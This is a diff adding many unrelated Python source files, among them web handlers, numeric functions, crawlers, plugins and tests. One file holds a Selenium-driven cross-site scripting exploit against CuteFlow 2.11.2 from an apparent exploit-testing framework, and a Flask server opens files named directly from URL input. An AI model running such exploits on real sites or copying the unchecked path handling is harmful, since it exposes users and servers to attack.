{} + + def callable(self): + threadId = threading.current_thread().ident + self.seenThreads[threadId] = { + 'start': cherrypy.response.time, 'url': cherrypy.url()} + + def unregister(self): + """Unregister the current thread.""" + threadID = threading.current_thread().ident + if threadID in self.seenThreads: + self.seenThreads[threadID]['end'] = time.time() + + def _setup(self): + cherrypy.Tool._setup(self) + cherrypy.request.hooks.attach('on_end_request', self.unregister) + + +cherrypy.tools.status = StatusMonitor() +cherrypy.config.update({"tools.status.on": True}) diff --git a/pool/shard009/Python/0083127_embed.py b/pool/shard009/Python/0083127_embed.py new file mode 100644 index 0000000000000000000000000000000000000000..dea0e5e0d015a7ab20708a8b518154512314df64 --- /dev/null +++ b/pool/shard009/Python/0083127_embed.py @@ -0,0 +1,46 @@ +from __future__ import absolute_import + +from flask import request + +from .authentication import current_org +from flask_login import current_user, login_required +from redash import models +from redash.handlers import routes +from redash.handlers.base import (get_object_or_404, org_scoped_rule, + record_event) +from redash.handlers.static import render_index + + +@routes.route(org_scoped_rule('/embed/query//visualization/'), methods=['GET']) +@login_required +def embed(query_id, visualization_id, org_slug=None): + record_event(current_org, current_user._get_current_object(), { + 'action': 'view', + 'object_id': visualization_id, + 'object_type': 'visualization', + 'query_id': query_id, + 'embed': True, + 'referer': request.headers.get('Referer') + }) + + return render_index() + + +@routes.route(org_scoped_rule('/public/dashboards/'), methods=['GET']) +@login_required +def public_dashboard(token, org_slug=None): + if current_user.is_api_user(): + dashboard = current_user.object + else: + api_key = get_object_or_404(models.ApiKey.get_by_api_key, token) + dashboard = api_key.object + + record_event(current_org, current_user, { + 'action': 'view', + 'object_id': dashboard.id, + 'object_type': 'dashboard', + 'public': True, + 'headless': 'embed' in request.args, + 'referer': request.headers.get('Referer') + }) + return render_index() diff --git a/pool/shard009/Python/0083128_sqrt.py b/pool/shard009/Python/0083128_sqrt.py new file mode 100644 index 0000000000000000000000000000000000000000..3b3f045378fc11bba832b8f7b3544923dcf01b9a --- /dev/null +++ b/pool/shard009/Python/0083128_sqrt.py @@ -0,0 +1,93 @@ +import numpy + +from chainer.backends import cuda +from chainer import function_node +from chainer import utils +from chainer.utils import type_check + + +class Sqrt(function_node.FunctionNode): + + @property + def label(self): + return 'sqrt' + + def check_type_forward(self, in_types): + type_check.expect( + in_types.size() == 1, + in_types[0].dtype.kind == 'f', + ) + + def forward(self, x): + self.retain_outputs((0,)) + xp = cuda.get_array_module(*x) + return utils.force_array(xp.sqrt(x[0], dtype=x[0].dtype)), + + def backward(self, indexes, grad_outputs): + gx = self.get_retained_outputs()[0] + gy = grad_outputs[0] + return gy / (gx * 2.0), + + +class RsqrtGPU(function_node.FunctionNode): + + @property + def label(self): + return 'rsqrt' + + def check_type_forward(self, in_types): + type_check.expect( + in_types.size() == 1, + in_types[0].dtype.kind == 'f', + ) + + def forward_gpu(self, inputs): + self.retain_outputs((0,)) + x, = inputs + out = cuda.cupyx.rsqrt(x, dtype=x.dtype) + return utils.force_array(out), + + def backward(self, indexes, grad_outputs): + y, = self.get_retained_outputs() + gy, = grad_outputs + return gy * (y ** 3) * -0.5, + + +def sqrt(x): + """Elementwise square root function. + + .. math:: + y_i = \\sqrt x_i. + + If the value of :math:`x_i` is negative, it returns ``Nan`` for :math:`y_i` + respect to underlying numpy and cupy specification. + + Args: + x (~chainer.Variable): Input variable. + + Returns: + ~chainer.Variable: Output variable. + """ + return Sqrt().apply((x,))[0] + + +def rsqrt(x): + """Computes elementwise reciprocal of square root of input :math:`x_i`. + + .. math:: + y_i = {1 \\over \\sqrt x_i}. + + Args: + x (~chainer.Variable): Input variable. + + Returns: + ~chainer.Variable: Output variable. + + .. seealso:: :func:`~chainer.functions.sqrt` + """ + xp = cuda.get_array_module(x) + if xp is numpy: + return 1.0 / sqrt(x) + + # CuPy provides `rsqrt` which is faster than `1.0 / sqrt(x)`. + return RsqrtGPU().apply((x,))[0] diff --git a/pool/shard009/Python/0083131_jmodeltest.py b/pool/shard009/Python/0083131_jmodeltest.py new file mode 100644 index 0000000000000000000000000000000000000000..d996f1064eeb36ffa985ffa0fdbe32172f5ba8ec --- /dev/null +++ b/pool/shard009/Python/0083131_jmodeltest.py @@ -0,0 +1,113 @@ +from __future__ import absolute_import +# #START_LICENSE########################################################### +# +# +# This file is part of the Environment for Tree Exploration program +# (ETE). http://etetoolkit.org +# +# ETE is free software: you can redistribute it and/or modify it +# under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# ETE is distributed in the hope that it will be useful, but WITHOUT +# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY +# or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public +# License for more details. +# +# You should have received a copy of the GNU General Public License +# along with ETE. If not, see . +# +# +# ABOUT THE ETE PACKAGE +# ===================== +# +# ETE is distributed under the GPL copyleft license (2008-2015). +# +# If you make use of ETE in published work, please cite: +# +# Jaime Huerta-Cepas, Joaquin Dopazo and Toni Gabaldon. +# ETE: a python Environment for Tree Exploration. Jaime BMC +# Bioinformatics 2010,:24doi:10.1186/1471-2105-11-24 +# +# Note that extra references to the specific methods implemented in +# the toolkit may be available in the documentation. +# +# More info at http://etetoolkit.org. Contact: huerta@embl.de +# +# +# #END_LICENSE############################################################# +import os +import logging +log = logging.getLogger("main") + +from ..master_task import ModelTesterTask +from ..master_job import Job +from ..utils import basename, PhyloTree + +__all__ = ["JModeltest"] + +class JModeltest(ModelTesterTask): + def __init__(self, nodeid, alg_fasta_file, alg_phylip_file, conf): + GLOBALS["citator"].add('jmodeltest') + + self.conf = conf + base_args = { + '-d': alg_fasta_file, + } + args = self.conf["jmodeltest"] + if args.get("-t", "ML") == "ML": + task_type = "tree" + else: + task_type = "mchooser" + + ModelTesterTask.__init__(self, nodeid, task_type, "Jmodeltest", + base_args, self.conf[confname]) + + # set app arguments and options + self.alg_fasta_file = alg_fasta_file + self.alg_phylip_file = alg_phylip_file + self.seqtype = "nt" + self.models = "see jmodeltest params" + + self.init() + self.best_model_file = os.path.join(self.taskdir, "best_model.txt") + if task_type == "tree": + self.tree_file = os.path.join(self.taskdir, "final_tree.nw") + else: + self.tree_file = None + + + def load_jobs(self): + tree_job = Job(self.conf["app"]["jmodeltest"], self.args, parent_ids=[self.nodeid]) + self.jobs.append(tree_job) + + def finish(self): + # first job is the raxml tree + best_model = None + best_model_in_next_line = False + t = None + for line in open(self.jobs[-1].stdout_file, "r"): + line = line.strip() + if best_model_in_next_line and line.startswith("Model"): + pass#best_model = line.split("=")[1].strip() + elif best_model_in_next_line and line.startswith("partition"): + best_model = line.split("=")[1].strip() + best_model_in_next_line = False + elif line.startswith("Model selected:"): + best_model_in_next_line = True + elif line.startswith("ML tree (NNI) for the best AIC model ="): + nw = line.replace("ML tree (NNI) for the best AIC model =", "") + t = PhyloTree(nw) + + open(self.best_model_file, "w").write(best_model) + log.log(26, "Best model: %s" %best_model) + if self.ttype == "tree": + tree_job = self.jobs[-1] + tree_file = os.path.join(tree_job.jobdir, + "jModelTest_tree."+self.nodeid) + t.write(outfile=self.tree_file) + self.model = best_model + + + ModelTesterTask.finish(self) diff --git a/pool/shard009/Python/0083132_setup.py b/pool/shard009/Python/0083132_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..20a817fda0357c3d685d136e0357f689b7a63677 --- /dev/null +++ b/pool/shard009/Python/0083132_setup.py @@ -0,0 +1,52 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +try: + import setuptools +except ImportError: + import distutils.core as setuptools + + +__author__ = 'Chris Jin' +__copyright__ = 'Copyright 2014' +__credits__ = [] + +__license__ = 'Apache 2.0' +__version__ = '0.1.0' +__maintainer__ = 'Chris Jin' +__email__ = 'chrisjin@outlook.com' +__status__ = 'Dev' + +__title__ = 'docker-registry-driver-alioss' +__build__ = 0x000000 + +__url__ = 'https://github.com/chris-jin/docker-registry-driver-alioss' +__description__ = 'Docker registry ali oss driver' +d = 'https://github.com/chris-jin/docker-registry-driver-alioss/archive/master.zip' + +setuptools.setup( + name=__title__, + version=__version__, + author=__author__, + author_email=__email__, + maintainer=__maintainer__, + maintainer_email=__email__, + url=__url__, + description=__description__, + long_description=open('./README.md').read(), + download_url=d, + classifiers=['Development Status :: 4 - Beta', + 'Intended Audience :: Developers', + 'Programming Language :: Python', + 'Programming Language :: Python :: 2.7', + 'Programming Language :: Python :: Implementation :: CPython', + 'Operating System :: OS Independent', + 'Topic :: Utilities', + 'License :: OSI Approved :: Apache Software License'], + platforms=['Independent'], + license=open('./LICENSE').read(), + namespace_packages=['docker_registry', 'docker_registry.drivers'], + packages=['docker_registry', 'docker_registry.drivers'], + install_requires=open('./requirements.txt').read(), + zip_safe=False +) diff --git a/pool/shard009/Python/0083134_thegutters.py b/pool/shard009/Python/0083134_thegutters.py new file mode 100644 index 0000000000000000000000000000000000000000..993434301e550f85a5462614c376bf94dae1c66d --- /dev/null +++ b/pool/shard009/Python/0083134_thegutters.py @@ -0,0 +1,28 @@ +import re + +from comics.aggregator.crawler import CrawlerBase, CrawlerImage +from comics.core.comic_data import ComicDataBase + + +class ComicData(ComicDataBase): + name = "The Gutters" + language = "en" + url = "http://the-gutters.com/" + rights = "Blind Ferret Entertainment" + active = False + + +class Crawler(CrawlerBase): + history_capable_days = 180 + schedule = "Tu,Fr" + time_zone = "America/Montreal" + + def crawl(self, pub_date): + feed = self.parse_feed("http://feeds.feedburner.com/TheGutters") + for entry in feed.for_date(pub_date): + title = entry.title + url = entry.summary.src('img[src*="/wp-content/uploads/"]') + if not url: + continue + url = re.sub(r"-\d+x\d+.jpg", ".jpg", url) + return CrawlerImage(url, title) diff --git a/pool/shard009/Python/0083139_0006_auto_20170502_1246.py b/pool/shard009/Python/0083139_0006_auto_20170502_1246.py new file mode 100644 index 0000000000000000000000000000000000000000..cbab054c761b6710999a36e9d02ca72e66a672c5 --- /dev/null +++ b/pool/shard009/Python/0083139_0006_auto_20170502_1246.py @@ -0,0 +1,26 @@ +# Generated by Django 1.10.7 on 2017-05-02 12:46 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [("gallery", "0005_image_phash")] + + operations = [ + migrations.AddField( + model_name="image", + name="gallery_ready", + field=models.BooleanField(default=False), + ), + migrations.AddField( + model_name="image", + name="preview_ready", + field=models.BooleanField(default=False), + ), + migrations.AddField( + model_name="image", + name="thumbnail_ready", + field=models.BooleanField(default=False), + ), + ] diff --git a/pool/shard009/Python/0083144_CUTEFLOW_0023.py b/pool/shard009/Python/0083144_CUTEFLOW_0023.py new file mode 100644 index 0000000000000000000000000000000000000000..59e41460b4efed65dd3db0533e61ba0e9b87d562 --- /dev/null +++ b/pool/shard009/Python/0083144_CUTEFLOW_0023.py @@ -0,0 +1,53 @@ + +# Copyright 2013 University of Maryland. All rights reserved. +# Use of this source code is governed by a BSD-style +# license that can be found in the LICENSE.TXT file. + + +import sys +import os +import time + +from selenium.common.exceptions import NoAlertPresentException + +import framework + +class Exploit (framework.Exploit): + + attributes = {'Name' : "CUTEFLOW_0023", + 'Description' : "CuteFlow v2.11.2 cross site scripting attack.", + 'References' : [['http://itsecuritysolutions.org/2012-07-01-CuteFlow-2.11.2-multiple-security-vulnerabilities/']], + 'Target' : "CuteFlow 2.11.2", + 'TargetLicense' : '', + 'VulWikiPage' : "", + 'Type' : 'XSS' + } + + def __init__(self, visible=False): + framework.Exploit.__init__(self, visible) + self.verified = False + return + + def exploit(self): + driver = self.create_selenium_driver() + driver.get("http://localhost/cuteflow/pages/showmaillist.php?language=\"> +# +# EventGhost is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# EventGhost is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with EventGhost; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +# +# Last change: 2009-10-15 10:11 + +u""" +Plugin for `Igor \u010Ce\u0161ko's UDP IR`__ receiver. + +This device is connected directly to twisted pair 10/100 BASE TX network. +It receives signal from standard infrared remote control +(used for TV, DVD players, ... ) and send it to group of computers +on the network (UDP broadcast). +Therefore signal can be collected by more computers also. + +__ http://www.cesko.host.sk/IgorPlugUDP/IgorPlug-UDP%20%28AVR%29_eng.htm +""" + +import eg +from threading import Thread, Event +from socket import socket, AF_INET, SOCK_DGRAM, SOL_SOCKET, SO_REUSEADDR +from socket import error as socket_error +import asyncore +from locale import getdefaultlocale as localeEncoding + +eg.RegisterPlugin( + name = "IgorPlug-UDP", + author = "Pako/Bitmonster", + version = "0.1.1", + kind = "remote", + description = __doc__, + icon = ( + "iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAMAAABEpIrGAAADAFBMVEUAAACAAAAAgACA" + "gAAAAICAAIAAgICAgIDAwMD/AAAA/wD//wAAAP//AP8A//////8AAAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYBAnEAAAA" + "0klEQVR4nJWQ2xKDIAxEwwMDIw75/78tuZKU2mlXRckeNhkBftB1yUPLRSou9dkwoJRN" + "1HBe7pKAegBk7hZ1DOsgEBnZH3FEA6xDrTUDwHWfYbkKmEoS5yfgzef8CFC1Lfl5Bk5f" + "iId8BzT/eUCbf875BHD+nJs4ATm/IzQybHiXgZkA8TcQAjQ/BQDknfidlEs6unx/9RGR" + "fcScr52DjyFh/5jgI2RC/d4NaHDK/QW0Bjes+77pRQvnu5oDvkCP+hfgFn2Ea/k54QCo" + "4vN9ANb+BYRyE8/VBob3AAAAAElFTkSuQmCC" + ), +) + + +class Text: + eventPrefix = "Event prefix:" + remIP = "IgorPlug-UDP IP address:" + locPort = "Local UDP port:" + +class udpReceiver(asyncore.dispatcher): + + def __init__(self, address, port, plugin): + self.irCommand = [] + self.remAddress=address + self.plugin=plugin + asyncore.dispatcher.__init__(self) + self.create_socket(AF_INET, SOCK_DGRAM) + eg.RestartAsyncore() + self.bind(('', port)) + + def writable(self): + return False # we don't have anything to send ! + + def handle_connect(self): + pass + + def handle_close(self): + self.close() + + def handle_expt(self): + self.close() + + def handle_read(self): + payload, address = self.socket.recvfrom(128) + if self.remAddress == address[0]: + if len(payload)==44: + weight = 1 + byte = 0 + flag = True + for i in range(4,44,5): + if payload[i] == '\x80': + byte += weight + elif payload[i:i+5] == 5*'\x00': + pass + else: + flag = False + break + weight *= 2 + if flag: + self.irCommand.append(chr(byte)) + if byte == 0xFF: + datagram = ''.join(self.irCommand) + if len(datagram) > 4: + if datagram[:4]==4*"\x00": + datagram = datagram[4:] + if len(datagram) > 4 and ord(datagram[0]) == len(datagram)-4: + self.plugin.irDecoder.Decode(datagram[3:],len(datagram)-3) + self.irCommand = [] + else: + self.plugin.TriggerEvent('DataError') + self.irCommand = [] + + +class IgorPlugUDP(eg.IrDecoderPlugin): + canMultiLoad = True + text = Text + + def __init__(self): + eg.IrDecoderPlugin.__init__(self, 51.2) + + def __start__(self, prefix="IgorUDP", locPort=6668, remAddress="192.168.1.7"): + self.info.eventPrefix = prefix + try: + self.receiver = udpReceiver(remAddress, locPort, self) + except socket_error, exc: + raise self.Exception(exc[1].decode(localeEncoding()[1])) + + def __stop__(self): + if self.receiver: + self.receiver.close() + self.receiver = None + + def __close__(self): + self.irDecoder.Close() + + def Configure(self, prefix="IgorUDP", locPort=6668, remAddress="192.168.1.7"): + panel = eg.ConfigPanel(self) + prefixCtrl = panel.TextCtrl(prefix) + ipAddressCtrl = panel.TextCtrl(remAddress) + locPortCtrl = panel.SpinIntCtrl(locPort, min=1, max=65535) + panel.AddLine(self.text.eventPrefix, prefixCtrl) + panel.AddLine(self.text.remIP, ipAddressCtrl) + panel.AddLine(self.text.locPort, locPortCtrl) + + while panel.Affirmed(): + panel.SetResult( + prefixCtrl.GetValue(), + int(locPortCtrl.GetValue()), + ipAddressCtrl.GetValue(), + ) + + + diff --git a/pool/shard009/Python/0083150_server.py b/pool/shard009/Python/0083150_server.py new file mode 100644 index 0000000000000000000000000000000000000000..232fccdc5010b7cba3ab918cf3aafc75a211a686 --- /dev/null +++ b/pool/shard009/Python/0083150_server.py @@ -0,0 +1,38 @@ +from flask import Flask, json, jsonify +app = Flask(__name__) + + +@app.route("/strawpolls") +def polls(): + return jsonify(json.load(open("static/strawpolls.json"))) + + +@app.route("/strawpolls/") +def votes(id): + polls = json.load(open("static/strawpolls.json")) + return jsonify(polls['data'][id]) + + +@app.route("/") +def root(): + return open("static/index.html").read() + + +@app.route("/strawpolls//vote/", methods=["POST"]) +def vote(id, choice): + polls = json.load(open("static/strawpolls.json")) + polls['data'][id]['choices'][choice] += 1 + json.dump(polls, open("static/strawpolls.json", "w")) + return jsonify(polls['data'][id]) + + +@app.route("/") +def other(page): + print(page) + content = open("static/{}.html".format(page)).read() + print(content) + return content + + +if __name__ == "__main__": + app.run() diff --git a/pool/shard009/Python/0083159_test_shortcuts.py b/pool/shard009/Python/0083159_test_shortcuts.py new file mode 100644 index 0000000000000000000000000000000000000000..041f724d80370a3858e72a4386f47073f81e84c3 --- /dev/null +++ b/pool/shard009/Python/0083159_test_shortcuts.py @@ -0,0 +1,30 @@ +# -*- coding: utf-8 -*- + +from __future__ import unicode_literals + +import pytest +from faker import Faker + +from machina.apps.forum.models import Forum +from machina.core.shortcuts import get_object_or_none +from machina.test.factories import create_forum + + +faker = Faker() + + +@pytest.mark.django_db +class TestCoreShortcuts(object): + @pytest.fixture(autouse=True) + def setup(self): + self.forum = create_forum() + + def test_can_get_an_object_or_none(self): + # Setup + forum_pk = self.forum.pk + # Run + forum = get_object_or_none(Forum, pk=forum_pk) + unknown_forum = get_object_or_none(Forum, pk=10000) + # Check + assert self.forum.pk == forum.pk + assert unknown_forum is None diff --git a/pool/shard009/Python/0083161_serial_list.py b/pool/shard009/Python/0083161_serial_list.py new file mode 100644 index 0000000000000000000000000000000000000000..c90919230f4a39946e5940967b5cb7663844bf5f --- /dev/null +++ b/pool/shard009/Python/0083161_serial_list.py @@ -0,0 +1,35 @@ +import sys +import glob +import serial + + +def serial_ports(): + """Lists serial ports + + :raises EnvironmentError: + On unsupported or unknown platforms + :returns: + A list of available serial ports + """ + if sys.platform.startswith('win'): + ports = ['COM' + str(i + 1) for i in range(256)] + + elif sys.platform.startswith('linux') or sys.platform.startswith('cygwin'): + # this is to exclude your current terminal "/dev/tty" + ports = glob.glob('/dev/tty[A-Za-z]*') + + elif sys.platform.startswith('darwin'): + ports = glob.glob('/dev/tty.*') + + else: + raise EnvironmentError('Unsupported platform') + + result = [] + for port in ports: + try: + s = serial.Serial(port) + s.close() + result.append(port) + except (OSError, serial.SerialException): + pass + return result diff --git a/pool/shard009/Python/0083163_cpython3.py b/pool/shard009/Python/0083163_cpython3.py new file mode 100644 index 0000000000000000000000000000000000000000..fcd92b82f61fc17564718c0f90325effe15574a8 --- /dev/null +++ b/pool/shard009/Python/0083163_cpython3.py @@ -0,0 +1,91 @@ +from __future__ import absolute_import, unicode_literals + +import abc +from textwrap import dedent + +from six import add_metaclass + +from virtualenv.create.describe import Python3Supports +from virtualenv.create.via_global_ref.builtin.ref import PathRefToDest +from virtualenv.create.via_global_ref.store import is_store_python +from virtualenv.util.path import Path + +from .common import CPython, CPythonPosix, CPythonWindows, is_mac_os_framework + + +@add_metaclass(abc.ABCMeta) +class CPython3(CPython, Python3Supports): + """ """ + + +class CPython3Posix(CPythonPosix, CPython3): + @classmethod + def can_describe(cls, interpreter): + return is_mac_os_framework(interpreter) is False and super(CPython3Posix, cls).can_describe(interpreter) + + def env_patch_text(self): + text = super(CPython3Posix, self).env_patch_text() + if self.pyvenv_launch_patch_active(self.interpreter): + text += dedent( + """ + # for https://github.com/python/cpython/pull/9516, see https://github.com/pypa/virtualenv/issues/1704 + import os + if "__PYVENV_LAUNCHER__" in os.environ: + del os.environ["__PYVENV_LAUNCHER__"] + """, + ) + return text + + @classmethod + def pyvenv_launch_patch_active(cls, interpreter): + ver = interpreter.version_info + return interpreter.platform == "darwin" and ((3, 7, 8) > ver >= (3, 7) or (3, 8, 3) > ver >= (3, 8)) + + +class CPython3Windows(CPythonWindows, CPython3): + """ """ + + @classmethod + def setup_meta(cls, interpreter): + if is_store_python(interpreter): # store python is not supported here + return None + return super(CPython3Windows, cls).setup_meta(interpreter) + + @classmethod + def sources(cls, interpreter): + for src in super(CPython3Windows, cls).sources(interpreter): + yield src + if not cls.has_shim(interpreter): + for src in cls.include_dll_and_pyd(interpreter): + yield src + + @classmethod + def has_shim(cls, interpreter): + return interpreter.version_info.minor >= 7 and cls.shim(interpreter) is not None + + @classmethod + def shim(cls, interpreter): + shim = Path(interpreter.system_stdlib) / "venv" / "scripts" / "nt" / "python.exe" + if shim.exists(): + return shim + return None + + @classmethod + def host_python(cls, interpreter): + if cls.has_shim(interpreter): + # starting with CPython 3.7 Windows ships with a venvlauncher.exe that avoids the need for dll/pyd copies + # it also means the wrapper must be copied to avoid bugs such as https://bugs.python.org/issue42013 + return cls.shim(interpreter) + return super(CPython3Windows, cls).host_python(interpreter) + + @classmethod + def include_dll_and_pyd(cls, interpreter): + dll_folder = Path(interpreter.system_prefix) / "DLLs" + host_exe_folder = Path(interpreter.system_executable).parent + for folder in [host_exe_folder, dll_folder]: + for file in folder.iterdir(): + if file.suffix in (".pyd", ".dll"): + yield PathRefToDest(file, dest=cls.to_dll_and_pyd) + + def to_dll_and_pyd(self, src): + return self.bin_dir / src.name diff --git a/pool/shard009/Python/0083164_requisition_label.py b/pool/shard009/Python/0083164_requisition_label.py new file mode 100644 index 0000000000000000000000000000000000000000..a9c3fbfbf34fd8c0bb414e59f779a3609dbf6c61 --- /dev/null +++ b/pool/shard009/Python/0083164_requisition_label.py @@ -0,0 +1,53 @@ +from arrow.arrow import Arrow +from django.apps import apps as django_apps +from django.conf import settings +from edc_label import Label + + +class RequisitionLabel(Label): + + label_template_name = 'requisition' + registered_subject_model = 'edc_registration.registeredsubject' + + def __init__(self, requisition=None, item=None, user=None, label_template_name=None): + self._registered_subject = None + self.label_template_name = label_template_name or self.label_template_name + super().__init__(label_template_name=self.label_template_name) + self.item = item or 1 + self.requisition = requisition + self.user = user + self.label_name = self.requisition.human_readable_identifier + + @property + def registered_subject(self): + if not self._registered_subject: + model_cls = django_apps.get_model(self.registered_subject_model) + self._registered_subject = model_cls.objects.get( + subject_identifier=self.requisition.subject_identifier) + return self._registered_subject + + @property + def label_context(self): + edc_protocol_app_config = django_apps.get_app_config('edc_protocol') + utc = Arrow.fromdatetime( + self.requisition.drawn_datetime or self.requisition.created) + dte = utc.to(settings.TIME_ZONE).datetime + formatted_date = dte.strftime("%Y-%m-%d %H:%M") + printed = 'PRINTED: ' if not self.requisition.drawn_datetime else 'DRAWN: ' + return { + 'requisition_identifier': self.requisition.requisition_identifier, + 'item': self.item, + 'item_count': self.requisition.item_count or 1, + 'primary': '

', + 'barcode_value': self.requisition.requisition_identifier, + 'protocol': edc_protocol_app_config.protocol, + 'site': str(self.requisition.site.id), + 'site_name': str(self.requisition.site.name), + 'clinician_initials': self.user.username[0:2].upper(), + 'drawn_datetime': f'{printed}{formatted_date}', + 'subject_identifier': self.registered_subject.subject_identifier, + 'gender': self.registered_subject.gender, + 'dob': self.registered_subject.dob, + 'initials': self.registered_subject.initials, + 'alpha_code': self.requisition.panel_object.alpha_code, + 'panel': self.requisition.panel_object.abbreviation} diff --git a/pool/shard009/Python/0083167_model.py b/pool/shard009/Python/0083167_model.py new file mode 100644 index 0000000000000000000000000000000000000000..e2ac12e84fc13288de5b96dcf913f9905f08f198 --- /dev/null +++ b/pool/shard009/Python/0083167_model.py @@ -0,0 +1,159 @@ +from abc import ABCMeta,abstractmethod,abstractproperty +from numpy import inf +from array import array +from .parameter import LivePoint +from numpy.random import uniform + +import logging +LOGGER = logging.getLogger('cpnest.model') # <--- for module-level logging + + +class Model(object): + """ + Base class for user's model. User should subclass this + and implement log_likelihood, names and bounds + """ + __metaclass__ = ABCMeta + names=[] # Names of parameters, e.g. ['p1','p2'] + bounds=[] # Bounds of prior as list of tuples, e.g. [(min1,max1), (min2,max2), ...] + + def in_bounds(self,param): + """ + Checks whether param lies within the bounds + + ----------- + Parameters: + param: :obj:`cpnest.parameter.LivePoint` + + ----------- + Return: + True: if all dimensions are within the bounds + False: otherwise + """ + return all(self.bounds[i][0] < param.values[i] < self.bounds[i][1] for i in range(param.dimension)) + + def new_point(self): + """ + Create a new LivePoint, drawn from within bounds + + ----------- + Return: + p: :obj:`cpnest.parameter.LivePoint` + """ + logP=-inf + while(logP==-inf): + p = LivePoint(self.names, + d=array('d', + [uniform(self.bounds[i][0], + self.bounds[i][1]) + for i, _ in enumerate(self.names) ] + ) + ) + logP=self.log_prior(p) + return p + + @abstractmethod + def log_likelihood(self,param): + """ + returns log likelihood of given parameter + + ------------ + Parameter: + param: :obj:`cpnest.parameter.LivePoint` + """ + pass + + def log_prior(self,param): + """ + Returns log of prior. + Default is flat prior within bounds + + ---------- + Parameter: + param: :obj:`cpnest.parameter.LivePoint` + + ---------- + Return: + 0 if param is in bounds + -np.inf otherwise + """ + if self.in_bounds(param): + return 0.0 + else: return -inf + + def potential(self,param): + """ + returns the potential energy as minus the log prior + ---------- + Parameter: + param: :obj:`cpnest.parameter.LivePoint` + + ---------- + Return: + :obj: -`cpnest.model.log_prior` + """ + return -self.log_prior(param) + + def force(self,param): + """ + returns the force (-grad potential) + Required for Hamiltonian sampling + + ---------- + Parameter: + param: :obj:`cpnest.parameter.LivePoint` + """ + pass + + def strsample(self,sample): + """ + Return a string representation for the sample to be written + to the output file. User may overload for additional output + ---------- + Parameter: + param: :obj:`cpnest.parameter.LivePoint` + ---------- + Return: + line: :string: + """ + line='\t'.join('{0:.20e}'.format(sample[n]) for n in sample.names) + line+='{0:20e}'.format(sample.logL) + return line + + def header(self): + """ + Return a string with the output file header + """ + return '\t'.join(self.names) + '\tlogL' + + def from_normalised(self, normalised_value): + """ + Maps from [0,1]^Ndim to the full range of the parameters + Inverse of to_normalised() + ---------- + Parameter: + normalised_vaue: array-like values in range (0,1) + ---------- + Returns: + point: :obj:`cpnest.parameter.LivePoint` + """ + d=array('d', + [self.bounds[i][0] + + normalised_value[i] * (self.bounds[i][1] - self.bounds[i][0]) + for i, _ in enumerate(self.names)] + ) + return LivePoint(self.names, d=d) + + def to_normalised(self, point): + """ + Maps the bounds of the parameters onto [-1,1] + ---------- + Parameter: + point: :obj:`cpnest.parameter.LivePoint` + ---------- + Returns: + normalised_value: :obj:`array.array` + The values of the parameter mapped into the Ndim-cube + """ + return array('d', [(v-b[0])/(b[1]-b[0]) for v, b + in zip(value.values, self.bounds)]) diff --git a/pool/shard009/Python/0083168_mfi.py b/pool/shard009/Python/0083168_mfi.py new file mode 100644 index 0000000000000000000000000000000000000000..42abe75af60c60508fcae5584221cde62e88047a --- /dev/null +++ b/pool/shard009/Python/0083168_mfi.py @@ -0,0 +1,103 @@ +""" +homeassistant.components.switch.mfi +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Support for Ubiquiti mFi switches. + +For more details about this platform, please refer to the documentation at +https://home-assistant.io/components/switch.mfi/ +""" +import logging + +from homeassistant.components.switch import DOMAIN, SwitchDevice +from homeassistant.const import CONF_PASSWORD, CONF_USERNAME +from homeassistant.helpers import validate_config + +REQUIREMENTS = ['mficlient==0.2.2'] + +_LOGGER = logging.getLogger(__name__) + +SWITCH_MODELS = [ + 'Outlet', + 'Output 5v', + 'Output 12v', + 'Output 24v', +] + + +# pylint: disable=unused-variable +def setup_platform(hass, config, add_devices, discovery_info=None): + """ Sets up mFi sensors. """ + + if not validate_config({DOMAIN: config}, + 